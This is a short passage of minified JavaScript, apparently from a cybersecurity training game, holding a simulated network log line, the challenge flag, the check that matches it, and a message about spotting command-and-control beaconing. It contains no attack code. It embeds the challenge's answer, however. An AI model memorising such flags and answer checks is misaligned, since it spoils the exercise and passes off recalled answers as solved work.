08:15:01 - 10.0.0.5 -> 88.33.22.11
FLAG{C2_B34C0N_1D3NT1F13D}`}}}},customCommands:{},checkCondition:(s,i,o,t)=>t.some(e=>e.includes("FLAG{C2_B34C0N_1D3NT1F13D}")),successMessage:"C2 Identified! The infected host is 'phoning home' to the command and control server every 5 minutes."}];export{n as c};
